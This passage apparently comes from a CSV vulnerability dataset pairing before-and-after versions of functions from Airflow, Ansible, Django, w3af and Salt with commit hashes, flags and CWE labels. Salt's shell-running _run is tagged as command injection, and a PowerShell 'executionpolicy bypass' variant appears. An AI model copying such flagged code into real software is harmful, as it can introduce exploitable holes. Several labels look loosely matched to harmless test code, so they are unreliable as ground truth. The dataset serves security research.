        tracking_store_mock.assert_called_once_with(
            ""mysql+pymysql://user:pwd@host:5432/mydb"", ""./mlruns""
        )
        registry_store_mock.assert_called_once_with(""mysql+pymysql://user:pwd@host:5432/mydb"")
        run_server_mock.assert_called()"
,UNKNOWN,UNKNOWN,tests/providers/microsoft/azure/hooks/test_wasb.py,1,"def test_extra_client_secret_auth_config_ad_connection(self, mock_get_conn):
        mock_get_conn.return_value = self.connection_map[self.ad_conn_id]
        conn_id = self.ad_conn_id
        hook = WasbHook(wasb_conn_id=conn_id)
        conn = hook.get_conn()
        assert conn.credential._authority == self.authority",CWE-703,apache/airflow,bd608a56abd1a6c2a98987daf7f092d2dabea555,"def test_extra_client_secret_auth_config_ad_connection(self, mock_get_conn):
        mock_get_conn.return_value = self.connection_map[self.ad_conn_id]
        conn_id = self.ad_conn_id
        hook = WasbHook(wasb_conn_id=conn_id)
        conn = hook.get_conn()
        assert conn.credential._authority == self.authority"
functions_for_ansible_with_cwe.csv,UNKNOWN,UNKNOWN,lib/ansible/modules/packaging/os/rhn_channel.py,0,"def main():

    module = AnsibleModule(
        argument_spec=dict(
            state=dict(type='str', default='present', choices=['present', 'absent']),
            name=dict(type='str', required=True),
            sysname=dict(type='str', required=True),
            url=dict(type='str', required=True),
            user=dict(type='str', required=True),
            password=dict(type='str', required=True, aliases=['pwd'], no_log=True),
        )
    )

    state = module.params['state']
    channelname = module.params['name']
    systname = module.params['sysname']
    saturl = module.params['url']
    user = module.params['user']
    password = module.params['password']

    # initialize connection
    client = xmlrpc_client.ServerProxy(saturl)
    try:
        session = client.auth.login(user, password)
    except Exception as e:
        module.fail_json(msg=""Unable to establish session with Satellite server: %s "" % to_text(e))

    if not session:
        module.fail_json(msg=""Failed to establish session with Satellite server."")

    # get systemid
    try:
        sys_id = get_systemid(client, session, systname)
    except Exception as e:
        module.fail_json(msg=""Unable to get system id: %s "" % to_text(e))

    if not sys_id:
        module.fail_json(msg=""Failed to get system id."")

    # get channels for system
    try:
        chans = base_channels(client, session, sys_id)
    except Exception as e:
        module.fail_json(msg=""Unable to get channel information: %s "" % to_text(e))

    try:
        if state == 'present':
            if channelname in chans:
                module.exit_json(changed=False, msg=""Channel %s already exists"" % channelname)
            else:
                subscribe_channels(channelname, client, session, systname, sys_id)
                module.exit_json(changed=True, msg=""Channel %s added"" % channelname)

        if state == 'absent':
            if channelname not in chans:
                module.exit_json(changed=False, msg=""Not subscribed to channel %s."" % channelname)
            else:
                unsubscribe_channels(channelname, client, session, systname, sys_id)
                module.exit_json(changed=True, msg=""Channel %s removed"" % channelname)
    except Exception as e:
        module.fail_json(msg='Unable to %s channel (%s): %s' % ('add' if state == 'present' else 'remove', channelname, to_text(e)))
    finally:
        client.auth.logout(session)",,ansible/ansible,6137cddce2995489726aa6d1b2d05a06f1b971d1,"def main():

    module = AnsibleModule(
        argument_spec=dict(
            state=dict(type='str', default='present', choices=['present', 'absent']),
            name=dict(type='str', required=True),
            sysname=dict(type='str', required=True),
            url=dict(type='str', required=True),
            user=dict(type='str', required=True),
            password=dict(type='str', required=True, aliases=['pwd'], no_log=True),
        )
    )

    state = module.params['state']
    channelname = module.params['name']
    systname = module.params['sysname']
    saturl = module.params['url']
    user = module.params['user']
    password = module.params['password']

    # initialize connection
    client = xmlrpc_client.ServerProxy(saturl)
    try:
        session = client.auth.login(user, password)
    except Exception as e:
        module.fail_json(msg=""Unable to establish session with Sattelite server: %s "" % to_text(e))

    if not session:
        module.fail_json(msg=""Failed to establish session with Sattelite server."")

    # get systemid
    try:
        sys_id = get_systemid(client, session, systname)
    except Exception as e:
        module.fail_json(msg=""Unable to get system id: %s "" % to_text(e))

    if not sys_id:
        module.fail_json(msg=""Failed to get system id."")

    # get channels for system
    try:
        chans = base_channels(client, session, sys_id)
    except Exception as e:
        module.fail_json(msg=""Unable to get channel information: %s "" % to_text(e))

    try:
        if state == 'present':
            if channelname in chans:
                module.exit_json(changed=False, msg=""Channel %s already exists"" % channelname)
            else:
                subscribe_channels(channelname, client, session, systname, sys_id)
                module.exit_json(changed=True, msg=""Channel %s added"" % channelname)

        if state == 'absent':
            if channelname not in chans:
                module.exit_json(changed=False, msg=""Not subscribed to channel %s."" % channelname)
            else:
                unsubscribe_channels(channelname, client, session, systname, sys_id)
                module.exit_json(changed=True, msg=""Channel %s removed"" % channelname)
    except Exception as e:
        module.fail_json(msg='Unable to %s channel (%s): %s' % ('add' if state == 'present' else 'remove', channelname, to_text(e)))
    finally:
        client.auth.logout(session)"
,UNKNOWN,UNKNOWN,tests/indexes/tests.py,1,"def test_ops_class_descending_partial(self):
        indexname = 'test_ops_class_ordered_partial'
        index = Index(
            name=indexname,
            fields=['-body'],
            opclasses=['text_pattern_ops'],
            condition=Q(headline__contains='China'),
        )
        with connection.schema_editor() as editor:
            editor.add_index(IndexedArticle2, index)
        with editor.connection.cursor() as cursor:
            cursor.execute(self.get_opclass_query % indexname)
            self.assertCountEqual(cursor.fetchall(), [('text_pattern_ops', indexname)])",CWE-89,django/django,8c7992f658e1125f8dc20b19206e8bbbe4187372,"def test_ops_class_descending_partial(self):
        indexname = 'test_ops_class_ordered_partial'
        index = Index(
            name=indexname,
            fields=['-body'],
            opclasses=['text_pattern_ops'],
            condition=Q(headline__contains='China'),
        )
        with connection.schema_editor() as editor:
            editor.add_index(IndexedArticle2, index)
        with editor.connection.cursor() as cursor:
            cursor.execute(self.get_opclass_query % indexname)
            self.assertCountEqual(cursor.fetchall(), [('text_pattern_ops', indexname)])"
,UNKNOWN,UNKNOWN,tests/utils/test_email.py,1,"def test_custom_backend(self, mock_send_email):
        with conf_vars({('email', 'email_backend'): 'tests.utils.test_email.send_email_test'}):
            utils.email.send_email('to', 'subject', 'content')
        send_email_test.assert_called_once_with(
            'to',
            'subject',
            'content',
            files=None,
            dryrun=False,
            cc=None,
            bcc=None,
            mime_charset='utf-8',
            mime_subtype='mixed',
            conn_id='smtp_default',
            from_email=None,
        )
        assert not mock_send_email.called",CWE-703,apache/airflow,fd5558fe9eb4c82f1aa49244deb75a6d500334bc,"def test_custom_backend(self, mock_send_email):
        with conf_vars({('email', 'email_backend'): 'tests.utils.test_email.send_email_test'}):
            utils.email.send_email('to', 'subject', 'content')
        send_email_test.assert_called_once_with(
            'to',
            'subject',
            'content',
            files=None,
            dryrun=False,
            cc=None,
            bcc=None,
            mime_charset='utf-8',
            mime_subtype='mixed',
            conn_id='smtp_default',
        )
        assert not mock_send_email.called"
functions_for_w3af_with_cwe.csv,UNKNOWN,UNKNOWN,plugins/attack/payloads/tests/payload_test_helper.py,0,"def _scan_wrapper(self):
        '''
        @return: Run the scan and return the vulnerability itself and the vuln_id.
        '''
        # Run the scan
        cfg = self._run_configs['cfg']
        self._scan(cfg['target'], cfg['plugins'])

        # Assert the general results
        vulns = self.kb.get('lfi', 'lfi')
        self.assertEquals(1, len(vulns))
        
        vuln = vulns[0]
        vuln_to_exploit_id = vuln.get_id()
        
        return vuln, vuln_to_exploit_id",,andresriancho/w3af,8b82f5b4d839c26a1f3390634f5e9977cfd7db6c,"def _scan_wrapper(self):
        '''
        @return: Run the scan and return the vulnerability itself and the vuln_id.
        '''
        # Run the scan
        cfg = self._run_configs['cfg']
        self._scan(cfg['target'], cfg['plugins'])

        # Assert the general results
        vulns = self.kb.get('lfi', 'lfi')
        self.assertEquals(1, len(vulns))
        
        vuln = vulns[0]
        vuln_to_exploit_id = vuln.getId()
        
        return vuln, vuln_to_exploit_id"
functions_for_salt_with_cwe.csv,UNKNOWN,UNKNOWN,salt/modules/yumpkg.py,0,"def _get_extra_options(**kwargs):
    '''
    Returns list of extra options for yum
    '''
    ret = []
    kwargs = salt.utils.clean_kwargs(**kwargs)
    for key, value in six.iteritems(kwargs):
        if isinstance(value, six.string_types):
            ret.append('--{0}=\'{1}\''.format(key, value))
        elif value is True:
            ret.append('--{0}'.format(key))
    return ret",,saltstack/salt,b31e08946a66977c925664b2c22f8c07799d6f87,"def _get_extra_options(**kwargs):
    '''
    Returns list of extra options for yum
    '''
    ret = []
    kwargs = salt.utils.clean_kwargs(**kwargs)
    for key, value in six.iteritems(kwargs):
        if isinstance(key, six.string_types):
            ret.append('--{0}=\'{1}\''.format(key, value))
        elif value is True:
            ret.append('--{0}'.format(key))
    return ret"
,UNKNOWN,UNKNOWN,salt/modules/cmdmod.py,1,"def _run(cmd,
         cwd=None,
         stdin=None,
         stdout=subprocess.PIPE,
         stderr=subprocess.PIPE,
         output_loglevel='info',
         quiet=False,
         runas=None,
         shell=DEFAULT_SHELL,
         python_shell=True,
         env=(),
         clean_env=False,
         rstrip=True,
         template=None,
         umask=None,
         timeout=None,
         with_communicate=True,
         reset_system_locale=True,
         saltenv='base'):
    '''
    Do the DRY thing and only call subprocess.Popen() once
    '''
    if salt.utils.is_true(quiet):
        salt.utils.warn_until(
            'Lithium',
            'The \'quiet\' option is deprecated and will be removed in the '
            '\'Lithium\' Salt release. Please use output_loglevel=quiet '
            'instead.'
        )

    # Set the default working directory to the home directory of the user
    # salt-minion is running as. Defaults to home directory of user under which
    # the minion is running.
    if not cwd:
        cwd = os.path.expanduser('~{0}'.format('' if not runas else runas))

        # make sure we can access the cwd
        # when run from sudo or another environment where the euid is
        # changed ~ will expand to the home of the original uid and
        # the euid might not have access to it. See issue #1844
        if not os.access(cwd, os.R_OK):
            cwd = '/'
            if salt.utils.is_windows():
                cwd = os.tempnam()[:3]
    else:
        # Handle edge cases where numeric/other input is entered, and would be
        # yaml-ified into non-string types
        cwd = str(cwd)

    if not salt.utils.is_windows():
        if not os.path.isfile(shell) or not os.access(shell, os.X_OK):
            msg = 'The shell {0} is not available'.format(shell)
            raise CommandExecutionError(msg)

    if shell.lower().strip() == 'powershell':
        # If we were called by script(), then fakeout the Windows
        # shell to run a Powershell script.
        # Else just run a Powershell command.
        stack = traceback.extract_stack(limit=2)

        # extract_stack() returns a list of tuples.
        # The last item in the list [-1] is the current method.
        # The third item[2] in each tuple is the name of that method.
        if stack[-2][2] == 'script':
            cmd = 'Powershell -executionpolicy bypass -File ' + cmd
        else:
            cmd = 'Powershell ' + cmd

    # munge the cmd and cwd through the template
    (cmd, cwd) = _render_cmd(cmd, cwd, template, saltenv)

    ret = {}

    if not env:
        env = {}
    elif isinstance(env, basestring):
        try:
            env = yaml.safe_load(env)
        except yaml.parser.ParserError as err:
            log.error(err)
            env = {}
    if not isinstance(env, dict):
        log.error('Invalid input: {0}, must be a dict or '
                  'string - yaml represented dict'.format(env))
        env = {}

    if runas and salt.utils.is_windows():
        # TODO: Figure out the proper way to do this in windows
        msg = 'Sorry, {0} does not support runas functionality'
        raise CommandExecutionError(msg.format(__grains__['os']))

    if runas:
        # Save the original command before munging it
        try:
            pwd.getpwnam(runas)
        except KeyError:
            raise CommandExecutionError(
                'User {0!r} is not available'.format(runas)
            )
        try:
            # Getting the environment for the runas user
            # There must be a better way to do this.
            py_code = 'import os, json;' \
                      'print(json.dumps(os.environ.__dict__))'
            if __grains__['os'] in ['MacOS', 'Darwin']:
                env_cmd = ('sudo -i -u {1} -- ""{2}""'
                           ).format(shell, runas, sys.executable)
            elif __grains__['os'] in ['FreeBSD']:
                env_cmd = ('su - {1} -c ""{0} -c \'{2}\'""'
                           ).format(shell, runas, sys.executable)
            else:
                env_cmd = ('su -s {0} - {1} -c ""{2}""'
                           ).format(shell, runas, sys.executable)
            env_json = subprocess.Popen(
                env_cmd,
                shell=python_shell,
                stdin=subprocess.PIPE,
                stdout=subprocess.PIPE
            ).communicate(py_code)[0]
            env_json = (filter(lambda x: x.startswith('{') and x.endswith('}'),
                               env_json.splitlines()) or ['{}']).pop()
            env_runas = json.loads(env_json).get('data', {})
            env_runas.update(env)
            env = env_runas
        except ValueError:
            raise CommandExecutionError(
                'Environment could not be retrieved for User {0!r}'.format(
                    runas
                )
            )

    if _check_loglevel(output_loglevel, quiet) is not None:
        # Always log the shell commands at INFO unless quiet logging is
        # requested. The command output is what will be controlled by the
        # 'loglevel' parameter.
        log.info(
            'Executing command {0!r} {1}in directory {2!r}'.format(
                cmd, 'as user {0!r} '.format(runas) if runas else '', cwd
            )
        )

    if reset_system_locale is True:
        if not salt.utils.is_windows():
            # Default to C!
            # Salt only knows how to parse English words
            # Don't override if the user has passed LC_ALL
            env.setdefault('LC_ALL', 'C')
        else:
            # On Windows set the codepage to US English.
            cmd = 'chcp 437 > nul & ' + cmd

    if clean_env:
        run_env = env

    else:
        run_env = os.environ.copy()
        run_env.update(env)

    kwargs = {'cwd': cwd,
              'shell': python_shell,
              'env': run_env,
              'stdin': str(stdin) if stdin is not None else stdin,
              'stdout': stdout,
              'stderr': stderr,
              'with_communicate': with_communicate}

    if umask:
        try:
            _umask = int(str(umask).lstrip('0'), 8)
            if not _umask:
                raise ValueError('Zero umask not allowed.')
        except ValueError:
            msg = 'Invalid umask: \'{0}\''.format(umask)
            raise CommandExecutionError(msg)
    else:
        _umask = None

    if runas or umask:
        kwargs['preexec_fn'] = functools.partial(
                _chugid_and_umask,
                runas,
                _umask)

    if not salt.utils.is_windows():
        # close_fds is not supported on Windows platforms if you redirect
        # stdin/stdout/stderr
        if kwargs['shell'] is True:
            kwargs['executable'] = shell
        kwargs['close_fds'] = True

    if not os.path.isabs(cwd) or not os.path.isdir(cwd):
        raise CommandExecutionError(
            'Specified cwd {0!r} either not absolute or does not exist'
            .format(cwd)
        )

    # This is where the magic happens
    try:
        proc = salt.utils.timed_subprocess.TimedProc(cmd, **kwargs)
    except (OSError, IOError) as exc:
        raise CommandExecutionError('Unable to run command ""{0}"" with the context ""{1}"", reason: {2}'.format(cmd, kwargs, exc))

    try:
        proc.wait(timeout)
    except TimedProcTimeoutError as exc:
        ret['stdout'] = str(exc)
        ret['stderr'] = ''
        ret['pid'] = proc.process.pid
        # ok return code for timeouts?
        ret['retcode'] = 1
        return ret

    out, err = proc.stdout, proc.stderr

    if rstrip:
        if out is not None:
            out = out.rstrip()
        if err is not None:
            err = err.rstrip()

    ret['stdout'] = out
    ret['stderr'] = err
    ret['pid'] = proc.process.pid
    ret['retcode'] = proc.process.returncode
    try:
        __context__['retcode'] = ret['retcode']
    except NameError:
        # Ignore the context error during grain generation
        pass
    return ret",CWE-78,saltstack/salt,09ccb83e6f354c37fa8d010b720f98e5a16f033c,"def _run(cmd,
         cwd=None,
         stdin=None,
         stdout=subprocess.PIPE,
         stderr=subprocess.PIPE,
         output_loglevel='info',
         quiet=False,
         runas=None,
         shell=DEFAULT_SHELL,
         python_shell=True,
         env=(),
         clean_env=False,
         rstrip=True,
         template=None,
         umask=None,
         timeout=None,
         with_communicate=True,
         reset_system_locale=True,
         saltenv='base'):
    '''
    Do the DRY thing and only call subprocess.Popen() once
    '''
    if salt.utils.is_true(quiet):
        salt.utils.warn_until(
            'Lithium',
            'The \'quiet\' option is deprecated and will be removed in the '
            '\'Lithium\' Salt release. Please use output_loglevel=quiet '
            'instead.'
        )

    # Set the default working directory to the home directory of the user
    # salt-minion is running as. Defaults to home directory of user under which
    # the minion is running.
    if not cwd:
        cwd = os.path.expanduser('~{0}'.format('' if not runas else runas))

        # make sure we can access the cwd
        # when run from sudo or another environment where the euid is
        # changed ~ will expand to the home of the original uid and
        # the euid might not have access to it. See issue #1844
        if not os.access(cwd, os.R_OK):
            cwd = '/'
            if salt.utils.is_windows():
                cwd = os.tempnam()[:3]
    else:
        # Handle edge cases where numeric/other input is entered, and would be
        # yaml-ified into non-string types
        cwd = str(cwd)

    if not salt.utils.is_windows():
        if not os.path.isfile(shell) or not os.access(shell, os.X_OK):
            msg = 'The shell {0} is not available'.format(shell)
            raise CommandExecutionError(msg)

    if shell.lower().strip() == 'powershell':
        # If we were called by script(), then fakeout the Windows
        # shell to run a Powershell script.
        # Else just run a Powershell command.
        stack = traceback.extract_stack(limit=2)

        # extract_stack() returns a list of tuples.
        # The last item in the list [-1] is the current method.
        # The third item[2] in each tuple is the name of that method.
        if stack[-2][2] == 'script':
            cmd = 'Powershell -File ' + cmd
        else:
            cmd = 'Powershell ' + cmd

    # munge the cmd and cwd through the template
    (cmd, cwd) = _render_cmd(cmd, cwd, template, saltenv)

    ret = {}

    if not env:
        env = {}
    elif isinstance(env, basestring):
        try:
            env = yaml.safe_load(env)
        except yaml.parser.ParserError as err:
            log.error(err)
            env = {}
    if not isinstance(env, dict):
        log.error('Invalid input: {0}, must be a dict or '
                  'string - yaml represented dict'.format(env))
        env = {}

    if runas and salt.utils.is_windows():
        # TODO: Figure out the proper way to do this in windows
        msg = 'Sorry, {0} does not support runas functionality'
        raise CommandExecutionError(msg.format(__grains__['os']))

    if runas:
        # Save the original command before munging it
        try:
            pwd.getpwnam(runas)
        except KeyError:
            raise CommandExecutionError(
                'User {0!r} is not available'.format(runas)
            )
        try:
            # Getting the environment for the runas user
            # There must be a better way to do this.
            py_code = 'import os, json;' \
                      'print(json.dumps(os.environ.__dict__))'
            if __grains__['os'] in ['MacOS', 'Darwin']:
                env_cmd = ('sudo -i -u {1} -- ""{2}""'
                           ).format(shell, runas, sys.executable)
            elif __grains__['os'] in ['FreeBSD']:
                env_cmd = ('su - {1} -c ""{0} -c \'{2}\'""'
                           ).format(shell, runas, sys.executable)
            else:
                env_cmd = ('su -s {0} - {1} -c ""{2}""'
                           ).format(shell, runas, sys.executable)
            env_json = subprocess.Popen(
                env_cmd,
                shell=python_shell,
                stdin=subprocess.PIPE,
                stdout=subprocess.PIPE
            ).communicate(py_code)[0]
            env_json = (filter(lambda x: x.startswith('{') and x.endswith('}'),
                               env_json.splitlines()) or ['{}']).pop()
            env_runas = json.loads(env_json).get('data', {})
            env_runas.update(env)
            env = env_runas
        except ValueError:
            raise CommandExecutionError(
                'Environment could not be retrieved for User {0!r}'.format(
                    runas
                )
            )

    if _check_loglevel(output_loglevel, quiet) is not None:
        # Always log the shell commands at INFO unless quiet logging is
        # requested. The command output is what will be controlled by the
        # 'loglevel' parameter.
        log.info(
            'Executing command {0!r} {1}in directory {2!r}'.format(
                cmd, 'as user {0!r} '.format(runas) if runas else '', cwd
            )
        )

    if reset_system_locale is True:
        if not salt.utils.is_windows():
            # Default to C!
            # Salt only knows how to parse English words
            # Don't override if the user has passed LC_ALL
            env.setdefault('LC_ALL', 'C')
        else:
            # On Windows set the codepage to US English.
            cmd = 'chcp 437 > nul & ' + cmd

    if clean_env:
        run_env = env

    else:
        run_env = os.environ.copy()
        run_env.update(env)

    kwargs = {'cwd': cwd,
              'shell': python_shell,
              'env': run_env,
              'stdin': str(stdin) if stdin is not None else stdin,
              'stdout': stdout,
              'stderr': stderr,
              'with_communicate': with_communicate}

    if umask:
        try:
            _umask = int(str(umask).lstrip('0'), 8)
            if not _umask:
                raise ValueError('Zero umask not allowed.')
        except ValueError:
            msg = 'Invalid umask: \'{0}\''.format(umask)
            raise CommandExecutionError(msg)
    else:
        _umask = None

    if runas or umask:
        kwargs['preexec_fn'] = functools.partial(
                _chugid_and_umask,
                runas,
                _umask)

    if not salt.utils.is_windows():
        # close_fds is not supported on Windows platforms if you redirect
        # stdin/stdout/stderr
        if kwargs['shell'] is True:
            kwargs['executable'] = shell
        kwargs['close_fds'] = True

    if not os.path.isabs(cwd) or not os.path.isdir(cwd):
        raise CommandExecutionError(
            'Specified cwd {0!r} either not absolute or does not exist'
            .format(cwd)
        )

    # This is where the magic happens
    try:
        proc = salt.utils.timed_subprocess.TimedProc(cmd, **kwargs)
    except (OSError, IOError) as exc:
        raise CommandExecutionError('Unable to run command ""{0}"" with the context ""{1}"", reason: {2}'.format(cmd, kwargs, exc))

    try:
        proc.wait(timeout)
    except TimedProcTimeoutError as exc:
        ret['stdout'] = str(exc)
        ret['stderr'] = ''
        ret['pid'] = proc.process.pid
        # ok return code for timeouts?
        ret['retcode'] = 1
        return ret

    out, err = proc.stdout, proc.stderr

    if rstrip:
        if out is not None:
            out = out.rstrip()
        if err is not None:
            err = err.rstrip()

    ret['stdout'] = out
    ret['stderr'] = err
    ret['pid'] = proc.process.pid
    ret['retcode'] = proc.process.returncode
    try:
        __context__['retcode'] = ret['retcode']
    except NameError:
        # Ignore the context error during grain generation
        pass
    return ret"
functions_for_airflow_with_cwe.csv,UNKNOWN,UNKNOWN,task-sdk/src/airflow/sdk/execution_time/context.py,0,"def context_to_airflow_vars(context: Mapping[str, Any], in_env_var_format: bool = False) -> dict[str, str]:
    """"""
    Return values used to externally reconstruct relations between dags, dag_runs, tasks and task_instances.

    Given a context, this function provides a dictionary of values that can be used to
    externally reconstruct relations between dags, dag_runs, tasks and task_instances.
    Default to abc.def.ghi format and can be made to ABC_DEF_GHI format if
    in_env_var_format is set to True.

    :param context: The context for the task_instance of interest.
    :param in_env_var_format: If returned vars should be in ABC_DEF_GHI format.
    :return: task_instance context as dict.
    """"""
    from datetime import datetime

    from airflow import settings

    params = {}
    if in_env_var_format:
        name_format = ""env_var_format""
    else:
        name_format = ""default""

    task = context.get(""task"")
    task_instance = context.get(""task_instance"")
    dag_run = context.get(""dag_run"")

    ops = [
        (task, ""email"", ""AIRFLOW_CONTEXT_DAG_EMAIL""),
        (task, ""owner"", ""AIRFLOW_CONTEXT_DAG_OWNER""),
        (task_instance, ""dag_id"", ""AIRFLOW_CONTEXT_DAG_ID""),
        (task_instance, ""task_id"", ""AIRFLOW_CONTEXT_TASK_ID""),
        (dag_run, ""logical_date"", ""AIRFLOW_CONTEXT_LOGICAL_DATE""),
        (task_instance, ""try_number"", ""AIRFLOW_CONTEXT_TRY_NUMBER""),
        (dag_run, ""run_id"", ""AIRFLOW_CONTEXT_DAG_RUN_ID""),
    ]

    context_params = settings.get_airflow_context_vars(context)
    for key, value in context_params.items():
        if not isinstance(key, str):
            raise TypeError(f""key <{key}> must be string"")
        if not isinstance(value, str):
            raise TypeError(f""value of key <{key}> must be string, not {type(value)}"")

        if in_env_var_format:
            if not key.startswith(ENV_VAR_FORMAT_PREFIX):
                key = ENV_VAR_FORMAT_PREFIX + key.upper()
        else:
            if not key.startswith(DEFAULT_FORMAT_PREFIX):
                key = DEFAULT_FORMAT_PREFIX + key
        params[key] = value

    for subject, attr, mapping_key in ops:
        _attr = getattr(subject, attr, None)
        if subject and _attr:
            mapping_value = AIRFLOW_VAR_NAME_FORMAT_MAPPING[mapping_key][name_format]
            if isinstance(_attr, str):
                params[mapping_value] = _attr
            elif isinstance(_attr, datetime):
                params[mapping_value] = _attr.isoformat()
            elif isinstance(_attr, list):
                # os env variable value needs to be string
                params[mapping_value] = "","".join(_attr)
            else:
                params[mapping_value] = str(_attr)

    return params",CWE-Unknown,apache/airflow,de4ea807260fc1f06610eba1b4d001db7ef08753,"def context_to_airflow_vars(context: Mapping[str, Any], in_env_var_format: bool = False) -> dict[str, str]:
    """"""
    Return values used to externally reconstruct relations between dags, dag_runs, tasks and task_instances.

    Given a context, this function provides a dictionary of values that can be used to
    externally reconstruct relations between dags, dag_runs, tasks and task_instances.
    Default to abc.def.ghi format and can be made to ABC_DEF_GHI format if
    in_env_var_format is set to True.

    :param context: The context for the task_instance of interest.
    :param in_env_var_format: If returned vars should be in ABC_DEF_GHI format.
    :return: task_instance context as dict.
    """"""
    from datetime import datetime

    from airflow import settings

    params = {}
    if in_env_var_format:
        name_format = ""env_var_format""
    else:
        name_format = ""default""

    task = context.get(""task"")
    task_instance = context.get(""task_instance"")
    dag_run = context.get(""dag_run"")

    ops = [
        (task, ""email"", ""AIRFLOW_CONTEXT_DAG_EMAIL""),
        (task, ""owner"", ""AIRFLOW_CONTEXT_DAG_OWNER""),
        (task_instance, ""dag_id"", ""AIRFLOW_CONTEXT_DAG_ID""),
        (task_instance, ""task_id"", ""AIRFLOW_CONTEXT_TASK_ID""),
        (task_instance, ""logical_date"", ""AIRFLOW_CONTEXT_LOGICAL_DATE""),
        (task_instance, ""try_number"", ""AIRFLOW_CONTEXT_TRY_NUMBER""),
        (dag_run, ""run_id"", ""AIRFLOW_CONTEXT_DAG_RUN_ID""),
    ]

    context_params = settings.get_airflow_context_vars(context)
    for key, value in context_params.items():
        if not isinstance(key, str):
            raise TypeError(f""key <{key}> must be string"")
        if not isinstance(value, str):
            raise TypeError(f""value of key <{key}> must be string, not {type(value)}"")

        if in_env_var_format:
            if not key.startswith(ENV_VAR_FORMAT_PREFIX):
                key = ENV_VAR_FORMAT_PREFIX + key.upper()
        else:
            if not key.startswith(DEFAULT_FORMAT_PREFIX):
                key = DEFAULT_FORMAT_PREFIX + key
        params[key] = value

    for subject, attr, mapping_key in ops:
        _attr = getattr(subject, attr, None)
        if subject and _attr:
            mapping_value = AIRFLOW_VAR_NAME_FORMAT_MAPPING[mapping_key][name_format]
            if isinstance(_attr, str):
                params[mapping_value] = _attr
            elif isinstance(_attr, datetime):
                params[mapping_value] = _attr.isoformat()
            elif isinstance(_attr, list):
                # os env variable value needs to be string
                params[mapping_value] = "","".join(_attr)
            else:
                params[mapping_value] = str(_attr)

    return params"
functions_for_airflow_with_cwe.csv,UNKNOWN,UNKNOWN,airflow/configuration.py,0,"def get(  # type: ignore[override,misc]
        self,
        section: str,
        key: str,
        suppress_warnings: bool = False,
        _extra_stacklevel: int = 0,
        **kwargs,
    ) -> str | None:
        section = section.lower()
        key = key.lower()
        warning_emitted = False
        deprecated_section: str | None
        deprecated_key: str | None

        option_description = self.configuration_description.get(section, {}).get(key, {})
        if option_description.get(""deprecated""):
            deprecation_reason = option_description.get(""deprecation_reason"", """")
            warnings.warn(
                f""The '{key}' option in section {section} is deprecated. {deprecation_reason}"",
                DeprecationWarning,
                stacklevel=2 + _extra_stacklevel,
            )
        # For when we rename whole sections
        if section in self.inversed_deprecated_sections:
            deprecated_section, deprecated_key = (section, key)
            section = self.inversed_deprecated_sections[section]
            if not self._suppress_future_warnings:
                warnings.warn(
                    f""The config section [{deprecated_section}] has been renamed to ""
                    f""[{section}]. Please update your `conf.get*` call to use the new name"",
                    FutureWarning,
                    stacklevel=2 + _extra_stacklevel,
                )
            # Don't warn about individual rename if the whole section is renamed
            warning_emitted = True
        elif (section, key) in self.inversed_deprecated_options:
            # Handle using deprecated section/key instead of the new section/key
            new_section, new_key = self.inversed_deprecated_options[(section, key)]
            if not self._suppress_future_warnings and not warning_emitted:
                warnings.warn(
                    f""section/key [{section}/{key}] has been deprecated, you should use""
                    f""[{new_section}/{new_key}] instead. Please update your `conf.get*` call to use the ""
                    ""new name"",
                    FutureWarning,
                    stacklevel=2 + _extra_stacklevel,
                )
                warning_emitted = True
            deprecated_section, deprecated_key = section, key
            section, key = (new_section, new_key)
        elif section in self.deprecated_sections:
            # When accessing the new section name, make sure we check under the old config name
            deprecated_key = key
            deprecated_section = self.deprecated_sections[section][0]
        else:
            deprecated_section, deprecated_key, _ = self.deprecated_options.get(
                (section, key), (None, None, None)
            )
        # first check environment variables
        option = self._get_environment_variables(
            deprecated_key,
            deprecated_section,
            key,
            section,
            issue_warning=not warning_emitted,
            extra_stacklevel=_extra_stacklevel,
        )
        if option is not None:
            return option

        # ...then the config file
        option = self._get_option_from_config_file(
            deprecated_key,
            deprecated_section,
            key,
            kwargs,
            section,
            issue_warning=not warning_emitted,
            extra_stacklevel=_extra_stacklevel,
        )
        if option is not None:
            return option

        # ...then commands
        option = self._get_option_from_commands(
            deprecated_key,
            deprecated_section,
            key,
            section,
            issue_warning=not warning_emitted,
            extra_stacklevel=_extra_stacklevel,
        )
        if option is not None:
            return option

        # ...then from secret backends
        option = self._get_option_from_secrets(
            deprecated_key,
            deprecated_section,
            key,
            section,
            issue_warning=not warning_emitted,
            extra_stacklevel=_extra_stacklevel,
        )
        if option is not None:
            return option

        # ...then the default config
        if self.get_default_value(section, key) is not None or ""fallback"" in kwargs:
            return expand_env_var(self.get_default_value(section, key, **kwargs))

        if self.get_default_pre_2_7_value(section, key) is not None:
            # no expansion needed
            return self.get_default_pre_2_7_value(section, key, **kwargs)

        if not suppress_warnings:
            log.warning(""section/key [%s/%s] not found in config"", section, key)

        raise AirflowConfigException(f""section/key [{section}/{key}] not found in config"")",CWE-Unknown,apache/airflow,abbd5677bab4a84b1d35e7723c7dfbb155ca9144,"def get(  # type: ignore[override,misc]
        self,
        section: str,
        key: str,
        suppress_warnings: bool = False,
        _extra_stacklevel: int = 0,
        **kwargs,
    ) -> str | None:
        section = str(section).lower()
        key = str(key).lower()
        warning_emitted = False
        deprecated_section: str | None
        deprecated_key: str | None

        option_description = self.configuration_description.get(section, {}).get(key, {})
        if option_description.get(""deprecated""):
            deprecation_reason = option_description.get(""deprecation_reason"", """")
            warnings.warn(
                f""The '{key}' option in section {section} is deprecated. {deprecation_reason}"",
                DeprecationWarning,
                stacklevel=2 + _extra_stacklevel,
            )
        # For when we rename whole sections
        if section in self.inversed_deprecated_sections:
            deprecated_section, deprecated_key = (section, key)
            section = self.inversed_deprecated_sections[section]
            if not self._suppress_future_warnings:
                warnings.warn(
                    f""The config section [{deprecated_section}] has been renamed to ""
                    f""[{section}]. Please update your `conf.get*` call to use the new name"",
                    FutureWarning,
                    stacklevel=2 + _extra_stacklevel,
                )
            # Don't warn about individual rename if the whole section is renamed
            warning_emitted = True
        elif (section, key) in self.inversed_deprecated_options:
            # Handle using deprecated section/key instead of the new section/key
            new_section, new_key = self.inversed_deprecated_options[(section, key)]
            if not self._suppress_future_warnings and not warning_emitted:
                warnings.warn(
                    f""section/key [{section}/{key}] has been deprecated, you should use""
                    f""[{new_section}/{new_key}] instead. Please update your `conf.get*` call to use the ""
                    ""new name"",
                    FutureWarning,
                    stacklevel=2 + _extra_stacklevel,
                )
                warning_emitted = True
            deprecated_section, deprecated_key = section, key
            section, key = (new_section, new_key)
        elif section in self.deprecated_sections:
            # When accessing the new section name, make sure we check under the old config name
            deprecated_key = key
            deprecated_section = self.deprecated_sections[section][0]
        else:
